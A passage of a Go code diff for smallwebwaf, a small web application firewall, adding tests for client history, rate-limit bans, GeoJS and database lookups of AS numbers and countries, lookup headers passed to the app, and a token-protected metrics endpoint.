+		LookedUp:  start,
+		Requests:  4,
+		Forwarded: 2,
+		Refused:   2,
+		// The app answers with no body, smallwebwaf with its status text.
+		ResponseBytes: 2 * int64(len("Forbidden\n")),
+		Responses:     ratelimit.Responses{Status2xx: 2, Status4xx: 2},
+		Offences:      ratelimit.Offences{Limit: 1},
+	}
+
+	got := historyOf(t, server, fromDE)
+	if got != want {
+		t.Errorf("history\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
+
+	// The third client drops the least recently seen, the first, with its
+	// history.
+	for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+	}
+
+	_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
+	if server.Limiter.Len() != 2 || held {
+		t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
+			"without it", server.Limiter.Len(), held)
+	}
+}
+
+func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_, _ = io.WriteString(w, "hello")
+	})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
+
+	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
+	wantStatus(t, got, http.StatusOK)
+	out.endedLine(t)
+
+	history := historyOf(t, server, localhost)
+	if history.RequestBytes != 3 || history.ResponseBytes != 5 {
+		t.Errorf("history counts %d bytes in and %d out, want 3 and 5",
+			history.RequestBytes, history.ResponseBytes)
+	}
+}
+
+func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
+
+	s.adminRequest("", http.MethodGet, servewaf.HealthPath, "", http.StatusOK)
+	s.adminRequest("", http.MethodGet, servewaf.MetricsPath, "", http.StatusUnauthorized)
+	s.scrape()
+
+	if clients := server.Limiter.Snapshot(); len(clients) != 0 {
+		t.Errorf("the table holds %+v, want no client", clients)
+	}
+}
+
+func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
+
+	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
+	out.endedLine(t)
+
+	history := historyOf(t, server, localhost)
+	if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
+		t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
+			"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
+	}
+}
+
+// historyOf returns the history of the client at addr.
+func historyOf(t *testing.T, server *servewaf.Server, addr string) ratelimit.History {
+	t.Helper()
+
+	client := netip.MustParsePrefix(addr + "/32")
+	for _, c := range server.Limiter.Snapshot() {
+		if c.Client == client {
+			return c.History
+		}
+	}
+
+	t.Fatalf("%s is not in the table", client)
+
+	return ratelimit.History{}
+}

internal/servewaf/lookup.go

@@ -0,0 +1,78 @@
+package servewaf
+
+import (
+	"context"
+	"net/http"
+	"net/netip"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+)
+
+// The headers in which an answer of allow gives rproxy the client's AS number
+// and country, for the app, while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes
+// every header name in this form, as it sends it and as it receives it, so
+// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
+const (
+	asnHeader     = "X-Client-Asn"
+	countryHeader = "X-Client-Country"
+)
+
+// lookUp looks up the client's AS number and country, in the lookup
+// database or through GeoJS, and notes them for the log line, unless
+// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
+// link-local address, which no lookup can place. The lookup database
+// answers at once. With GeoJS, while a setting needs the answer, such as a
+// country list or a biased threshold, a new client's request waits for it,
+// unless refusedWhateverTheAnswer reports true. ctx is the request's own
+// context.
+func (rq *request) lookUp(ctx context.Context, now time.Time) {
+	if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
+		return
+	}
+
+	client := rq.h.clientGroup(rq.client)
+
+	switch {
+	case rq.h.config.LookupSource == "file":
+		rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
+	case rq.refusedWhateverTheAnswer(now):
+		rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
+		rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
+	default:
+		rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
+	}
+
+	rq.lookedUp = true
+	rq.line.ASN = rq.lookupAnswer.ASN
+	rq.line.ASName = rq.lookupAnswer.ASName
+	rq.line.Country = rq.lookupAnswer.Country
+}
+
+// addLookup adds answer, an answer about a client from the lookup
+// database or GeoJS, to the client's history, and to the notes of the bans
+// on its netblock that have no AS number, AS name or country yet.
+func (h *handler) addLookup(answer lookup.Answer) {
+	h.limiter.AddLookup(answer.Client, answer.Answered,
+		answer.ASN, answer.ASName, answer.Country)
+	h.ledger.AddLookup(h.netblock(answer.Client.Addr()),
+		answer.ASN, answer.ASName, answer.Country)
+}
+
+// setLookupHeaders sets the headers that give the client's AS number and
+// country, leaving out one that is unknown.
+func setLookupHeaders(header http.Header, asn, country string) {
+	if asn != "" {
+		header.Set(asnHeader, asn)
+	}
+
+	if country != "" {
+		header.Set(countryHeader, country)
+	}
+}
+
+// canBePlaced reports whether a lookup can place addr: private, loopback
+// and link-local addresses have no AS number or country.
+func canBePlaced(addr netip.Addr) bool {
+	return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
+}

internal/servewaf/lookup_test.go

@@ -0,0 +1,443 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"path/filepath"
+	"slices"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// asnAndCountry is what a lookup gives a client: its AS number, AS name
+// and country.
+type asnAndCountry struct{ asn, asName, country string }
+
+// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
+// lookup database.
+const fileSource = "file"
+
+func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS answers only once released. A request that
+	// waited for it would wait an hour, and get no answer within
+	// waitLimit.
+	geojsURL, asked, release := startHeldGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "1",
+	})
+
+	// fromDE's second request breaks the limit and bans it, and fromKP
+	// comes too. None waits for GeoJS.
+	for _, line := range []logLine{
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward),
+		s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited),
+		s.get(fromKP, http.StatusOK, requestlog.ActionForward),
+	} {
+		got := asnAndCountry{line.ASN, line.ASName, line.Country}
+		if got != (asnAndCountry{}) {
+			t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
+		}
+	}
+
+	// Once GeoJS answers, each answer reaches the client's history, and
+	// fromDE's reaches the notes of its ban.
+	release()
+
+	netblock := netip.MustParsePrefix(fromDE + "/32")
+
+	waitUntil(func() bool {
+		return historyOf(t, server, fromDE).ASN != "" &&
+			historyOf(t, server, fromKP).ASN != "" &&
+			server.Ledger.Bans(netblock)[0].Notes.ASN != ""
+	})
+
+	de := asnAndCountry{asnDE, asNameDE, "DE"}
+
+	for addr, want := range map[string]asnAndCountry{
+		fromDE: de, fromKP: {asnKP, asNameKP, "KP"},
+	} {
+		h := historyOf(t, server, addr)
+		if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want {
+			t.Errorf("%s's history has %+v, want %+v", addr, got, want)
+		}
+	}
+
+	notes := server.Ledger.Bans(netblock)[0].Notes
+	if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
+		t.Errorf("the ban's notes have %+v, want %+v", got, de)
+	}
+
+	// GeoJS was asked about each client once, fromKP after fromDE, whose
+	// request was under way when fromKP came.
+	if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
+		t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
+	}
+}
+
+func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
+	t.Parallel()
+
+	// The country list has a new client's request wait for its answer,
+	// which the stand-in for GeoJS gives only once released.
+	geojsURL, asked, release := startHeldGeoJS(t)
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:  trustLocalhost,
+			lookupTimeout:   "1h",
+			deniedCountries: "kp",
+		})
+
+	requestFromDE := func() *http.Request {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, fromDE)
+
+		return req
+	}
+
+	// fromDE's first request arrives two seconds before a minute ends,
+	// and waits for GeoJS.
+	first, httpClient := requestFromDE(), newClient(t)
+	firstEnded := make(chan error, 1)
+
+	go func() {
+		res, err := httpClient.Do(first)
+		if err == nil {
+			err = readAnswer(res).err
+		}
+
+		firstEnded <- err
+	}()
+
+	waitUntil(func() bool { return len(asked()) == 1 })
+
+	// Half a second into the next minute, the answer is kept, as an edit
+	// of lookups.json would keep it, while the first request still waits
+	// for GeoJS. The second request goes on at once, and is counted.
+	clk.advance(2500 * time.Millisecond)
+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
+		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
+	}})
+	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
+
+	// GeoJS answers, and the first request goes on.
+	release()
+
+	err := <-firstEnded
+	if err != nil {
+		t.Fatalf("first request: %v", err)
+	}
+
+	wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
+
+	// The third request's count holds all three: the first was counted
+	// when it went on, in the minute under way, and the second's count
+	// was kept.
+	clk.advance(500 * time.Millisecond)
+	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
+
+	if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
+		t.Errorf("the third request's count in the minute is %v, want 3", got)
+	}
+}
+
+func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:     trustLocalhost,
+			alertWebhookURL:    "https://alerts.example/smallwebwaf",
+			rateLimitPerMinute: "1",
+		})
+	s := &sender{t: t, addr: addr, out: out}
+
+	// The answer is kept before the requests, so GeoJS is not asked, and
+	// gives no answer of its own.
+	netblock := netip.MustParsePrefix(fromDE + "/32")
+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netblock, ASN: asnDE, ASName: asNameDE, Country: "DE",
+		Answered: clk.Now(), Used: clk.Now(),
+	}})
+
+	want := asnAndCountry{asnDE, asNameDE, "DE"}
+
+	for _, line := range []logLine{
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward),
+		s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited),
+	} {
+		if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want {
+			t.Errorf("log line has %+v, want %+v", got, want)
+		}
+	}
+
+	h := historyOf(t, server, fromDE)
+	if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want ||
+		!h.LookedUp.Equal(clk.Now()) {
+		t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
+			got, h.LookedUp, want, clk.Now())
+	}
+
+	notes := server.Ledger.Bans(netblock)[0].Notes
+	if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != want {
+		t.Errorf("the ban's notes have %+v, want %+v", got, want)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("alerts waiting %+v, want the ban's alone", waiting)
+	}
+
+	alert := waiting[0]
+	if got := (asnAndCountry{alert.ASN, alert.ASName, alert.Country}); got != want {
+		t.Errorf("the ban's alert has %+v, want %+v", got, want)
+	}
+}
+
+func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
+
+	// Even an answer kept from before is not used.
+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
+		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
+	}})
+
+	for _, from := range []string{fromDE, fromKP} {
+		line := s.get(from, http.StatusOK, requestlog.ActionForward)
+
+		got := asnAndCountry{line.ASN, line.ASName, line.Country}
+		if got != (asnAndCountry{}) {
+			t.Errorf("log line has %+v, want nothing", got)
+		}
+	}
+
+	if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
+		t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
+	}
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+}
+
+func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+		fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"},
+	})
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupSource:       fileSource,
+		lookupDBPath:       path,
+		allowedCountries:   "DE",
+		rateLimitPerMinute: "1",
+	})
+
+	// fromDE's second request breaks the limit and bans it. The list
+	// refuses fromKP, and unplaced, which the file does not hold.
+	de := asnAndCountry{asnDE, asNameDE, "DE"}
+
+	for _, tc := range []struct {
+		line logLine
+		want asnAndCountry
+	}{
+		{s.get(fromDE, http.StatusOK, requestlog.ActionForward), de},
+		{s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), de},
+		{
+			s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
+			asnAndCountry{asnKP, asNameKP, "KP"},
+		},
+		{
+			s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied),
+			asnAndCountry{},
+		},
+	} {
+		got := asnAndCountry{tc.line.ASN, tc.line.ASName, tc.line.Country}
+		if got != tc.want {
+			t.Errorf("log line has %+v, want %+v", got, tc.want)
+		}
+	}
+
+	h := historyOf(t, server, fromDE)
+	if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != de ||
+		!h.LookedUp.Equal(clk.Now()) {
+		t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
+			got, h.LookedUp, de, clk.Now())
+	}
+
+	notes := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))[0].Notes
+	if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
+		t.Errorf("the ban's notes have %+v, want %+v", got, de)
+	}
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+}
+
+func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
+	t.Parallel()
+
+	var (
+		mu  sync.Mutex
+		got [][2][]string // each request's X-Client-ASN and X-Client-Country
+	)
+
+	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+		mu.Lock()
+		defer mu.Unlock()
+
+		got = append(got, [2][]string{
+			r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
+		})
+	})
+	geojsURL, _ := startGeoJS(t)
+	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
+		trustedProxies:   trustLocalhost,
+		lookupTimeout:    "1h",
+		addLookupHeaders: on,
+	})
+	s := &sender{t: t, addr: addr, out: out}
+
+	// Each client sends headers of its own. fromDE's first request waits
+	// for its answer, which the app is passed; unplaced has none to pass,
+	// and a client on a private address is not looked up.
+	for _, from := range []string{fromDE, unplaced, "10.0.0.8"} {
+		s.requestWithHeader(from, "/", clientsOwnLookupHeaders,
+			http.StatusOK, requestlog.ActionForward)
+	}
+
+	mu.Lock()
+	defer mu.Unlock()
+
+	want := [][2][]string{{{asnDE}, {"DE"}}, {nil, nil}, {nil, nil}}
+	if !slices.EqualFunc(got, want, func(a, b [2][]string) bool {
+		return slices.Equal(a[0], b[0]) && slices.Equal(a[1], b[1])
+	}) {
+		t.Errorf("the app was passed %v, want %v", got, want)
+	}
+}
+
+func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
+	t.Parallel()
+
+	var (
+		mu           sync.Mutex
+		asn, country []string
+	)
+
+	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+		mu.Lock()
+		defer mu.Unlock()
+
+		asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
+	})
+	geojsURL, _ := startGeoJS(t)
+	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
+		trustedProxies: trustLocalhost,
+	})
+	s := &sender{t: t, addr: addr, out: out}
+
+	s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
+		http.StatusOK, requestlog.ActionForward)
+
+	mu.Lock()
+	defer mu.Unlock()
+
+	if asn != nil || country != nil {
+		t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
+			asn, country)
+	}
+}
+
+func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
+	t.Parallel()
+
+	// The test runs in a synctest bubble, where the time package runs on a
+	// clock of the test's own: the wait lasts exactly as long as it should,
+	// however slowly the test process runs. Nothing in it may wait on the
+	// network, which would keep that clock from moving on: the request is
+	// handed to servewaf's handler, and GeoJS is one that never answers.
+	synctest.Test(t, func(t *testing.T) {
+		// Not the default. The exclusive list needs the answer, and the app
+		// is never reached.
+		const timeout = 3 * time.Second
+
+		server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+			map[string]string{
+				lookupTimeout:    timeout.String(),
+				allowedCountries: "DE",
+			})
+
+		began := time.Now()
+
+		serveFromDE(t, server, http.MethodGet, http.NoBody)
+
+		if waited := time.Since(began); waited != timeout {
+			t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
+		}
+
+		// Without an answer, the client is in no country the list allows.
+		wantLine(t, out.requestLine(t), http.StatusForbidden,
+			requestlog.ActionCountryDenied)
+	})
+}
+
+// unansweredGeoJSURL is where a GeoJS that never answers is asked: a
+// request to it waits, without the network, until it is abandoned.
+// TestMain registers it with Go's default transport, through which GeoJS
+// is asked.
+const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json"
+
+func TestMain(m *testing.M) {
+	transport, _ := http.DefaultTransport.(*http.Transport)
+	transport.RegisterProtocol("unanswered", unansweredGeoJS{})
+	transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
+
+	m.Run()
+}
+
+// unansweredGeoJS is the GeoJS at unansweredGeoJSURL.
+type unansweredGeoJS struct{}
+
+// RoundTrip waits until req is abandoned.
+func (unansweredGeoJS) RoundTrip(req *http.Request) (*http.Response, error) {
+	<-req.Context().Done()
+
+	return nil, req.Context().Err()
+}
+
+// clientsOwnLookupHeaders are the X-Client-ASN and X-Client-Country a
+// client sends of its own, each twice, in two cases.
+const clientsOwnLookupHeaders = "X-Client-ASN: AS1\r\nx-client-asn: AS2\r\n" +
+	"X-CLIENT-COUNTRY: KP\r\nx-client-country: CN"
+
+// waitUntil waits until done reports true, for at most waitLimit.
+func waitUntil(done func() bool) {
+	deadline := time.Now().Add(waitLimit)
+	for !done() && time.Now().Before(deadline) {
+		time.Sleep(pollInterval)
+	}
+}

internal/servewaf/metrics_test.go

@@ -0,0 +1,431 @@
+package servewaf_test
+
+import (
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name
+	metricsTopN  = "SWWAF_METRICS_TOP_N"
+	// token is the SWWAF_METRICS_TOKEN the tests set, and bearer how a
+	// request carries it.
+	token  = "0123456789abcdef0123456789abcdef"
+	bearer = "Bearer " + token
+)
+
+func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", nil)
+
+	// An empty token does not match the unset one either.
+	for _, authorization := range []string{bearer, "Bearer ", ""} {
+		s.adminRequest(authorization, http.MethodGet, servewaf.MetricsPath, "",
+			http.StatusNotFound)
+	}
+}
+
+func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{metricsToken: token})
+
+	for _, tc := range []struct {
+		method, path, authorization string
+		status                      int
+	}{
+		{http.MethodGet, servewaf.MetricsPath, "", http.StatusUnauthorized},
+		{
+			http.MethodGet, servewaf.MetricsPath, "Bearer " + strings.ToUpper(token),
+			http.StatusUnauthorized,
+		},
+		{http.MethodGet, servewaf.MetricsPath, "Basic " + token, http.StatusUnauthorized},
+		{http.MethodGet, servewaf.MetricsPath, bearer, http.StatusOK},
+		{http.MethodGet, servewaf.MetricsPath, "bearer " + token, http.StatusOK},
+		{http.MethodPost, servewaf.MetricsPath, bearer, http.StatusNotFound},
+		{http.MethodGet, servewaf.MetricsPath + "/", bearer, http.StatusNotFound},
+		{http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound},
+		{http.MethodPost, servewaf.HealthPath, "", http.StatusNotFound},
+	} {
+		got := s.adminRequest(tc.authorization, tc.method, tc.path, "", tc.status)
+
+		if tc.status == http.StatusUnauthorized &&
+			got.header.Get("WWW-Authenticate") != "Bearer" {
+			t.Errorf("%q was answered without WWW-Authenticate: Bearer",
+				tc.authorization)
+		}
+
+		if tc.status == http.StatusOK &&
+			!strings.Contains(string(got.body), "# TYPE smallwebwaf_requests_total counter") {
+			t.Errorf("the metrics are\n%s", got.body)
+		}
+	}
+}
+
+func TestMetricsCountTheTraffic(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_, _ = io.WriteString(w, "hello")
+	})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
+		map[string]string{metricsToken: token})
+
+	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
+	wantStatus(t, got, http.StatusOK)
+	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
+	out.endedLines(t, 2)
+
+	forward := `{action="forward",instance="app",status_class="2xx"}`
+	notFound := `{action="admin",instance="app",status_class="4xx"}`
+
+	// The request for the metrics is itself under way.
+	metrics := scrape(t, server.Addr)
+	wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1)
+	wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1)
+	wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3)
+	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5)
+	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound,
+		float64(len("Not Found\n")))
+	wantMetric(t, metrics,
+		`smallwebwaf_request_duration_seconds_count{instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_upstream_duration_seconds_count{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_requests_in_flight{instance="app"}`, 1)
+	metric(t, metrics, `go_goroutines{instance="app"}`)
+	metric(t, metrics, `process_start_time_seconds{instance="app"}`)
+}
+
+func TestMetricsCountLimitsAndBans(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		metricsToken:       token,
+		rateLimitPerMinute: "1",
+		denyNets:           denied,
+		banResponse:        banResponseClose,
+		limitBanDuration:   "1h",
+		maxBanDuration:     "2h",
+	})
+
+	// SWWAF_BAN_RESPONSE=close sends no status at all.
+	s.get(denied, 0, requestlog.ActionDenied)
+
+	// A first broken limit bans for an hour.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, 0, requestlog.ActionRateLimited)
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="requests",window="minute"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 0)
+
+	clk.advance(time.Hour)
+	wantMetric(t, s.scrape(), `smallwebwaf_active_bans{instance="app"}`, 0)
+
+	// A limit broken again right after would ban for three hours, longer
+	// than SWWAF_MAX_BAN_DURATION, so the ban is permanent.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, 0, requestlog.ActionRateLimited)
+
+	metrics = s.scrape()
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="requests",window="minute"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
+	// denied and client.
+	wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 2)
+}
+
+func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		metricsToken: token,
+		adminToken:   adminSecret,
+	})
+
+	const admins = `smallwebwaf_bans_made_total{cause="admin",instance="app"}`
+
+	wantMetric(t, s.scrape(), admins, 0)
+
+	// As an admin's edit of bans.json that adds a ban is taken in.
+	server.Ledger.LoadEdit([]bans.Ban{{
+		Netblock: netip.MustParsePrefix(client + "/32"),
+		Start:    clk.Now(),
+	}})
+
+	wantMetric(t, s.scrape(), admins, 1)
+
+	// And a ban made through the endpoint.
+	s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK)
+	wantMetric(t, s.scrape(), admins, 2)
+}
+
+func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
+	t.Parallel()
+
+	const fromFR = "198.51.100.20"
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_, _ = io.WriteString(w, "hello")
+	})
+	env := map[string]string{
+		trustedProxies:  trustLocalhost,
+		metricsToken:    token,
+		metricsTopN:     "2",
+		deniedCountries: "kp",
+	}
+	geojsURL, _ := startGeoJS(t)
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
+
+	// The answers are kept before the requests, so that none waits for
+	// GeoJS.
+	server.GeoJS.Load([]lookup.Answer{
+		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
+	})
+
+	lines := 0
+	send := func(from string, times, status int) {
+		t.Helper()
+
+		for range times {
+			req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
+			req.Header.Set(forwardedFor, from)
+			wantStatus(t, do(t, req), status)
+
+			// Each is counted before the next is sent, so that the
+			// countries are ranked in the order sent.
+			lines++
+			out.endedLines(t, lines)
+		}
+	}
+
+	// With two countries of their own, the third is counted as other.
+	send(fromKP, 3, http.StatusForbidden)
+	send(fromDE, 2, http.StatusOK)
+	send(fromFR, 1, http.StatusOK)
+
+	metrics := scrape(t, server.Addr)
+	lines++
+
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="DE",instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="other",instance="app"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_list_refusals_total{country="KP",instance="app"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_request_bytes_total{country="KP",instance="app"}`, 0)
